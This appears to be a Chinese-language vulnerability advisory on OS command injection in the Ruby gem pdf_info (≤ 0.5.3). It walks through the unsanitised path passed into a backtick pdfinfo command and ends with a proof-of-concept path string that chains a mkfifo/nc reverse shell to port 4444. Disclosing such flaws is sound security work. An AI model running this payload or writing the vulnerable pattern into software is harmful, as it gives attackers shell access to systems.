
pdf_info <= 0.5.3 操作系统命令注入
ruby gem pdf_info <= 0.5.3 在 PDF::Info 对象上执行方法时容易受到操作系统命令注入攻击。
攻击者可以使用特制的载荷,通过命令链执行操作系统命令。
创建新的 PDF::Info 对象时,会调用 initialize 方法
def initialize(pdf_path)
@pdf_path = pdf_path
end
对象初始化期间不会执行任何验证,并且会使用用户提供的路径。
我们可以创建一个 PDF::Info 对象,并通过以下方式返回 PDF 的元数据。
#!/usr/bin/env ruby
require 'pdf/info'
info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata
当我们在 PDF::Info 对象上调用 metadata 方法时,会调用 process_output 方法,传入的参数为 command 方法。
command 方法使用 @pdf_info 类变量在系统上执行 pdfinfo 命令,并通过以下代码片段返回命令输出。
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`
与 initialize 方法一样,@pdf_path 变量也没有执行任何验证。这使得我们可以利用 ; 进行命令链来执行任意命令。
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')
pp info.metadata
上述代码片段将向 127.0.0.1 的 4444 端口执行一个反向 Shell。
